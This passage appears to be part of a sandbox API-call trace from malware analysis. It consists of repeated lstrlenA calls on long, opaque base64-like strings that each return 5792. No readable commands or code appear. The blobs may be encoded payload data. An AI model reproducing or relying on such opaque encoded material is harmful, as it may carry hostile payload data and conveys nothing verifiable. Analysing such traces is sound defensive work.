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") returned 5792 [0128.360] lstrlenA (lpString="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") returned 5792 [0128.360] lstrlenA (lpString="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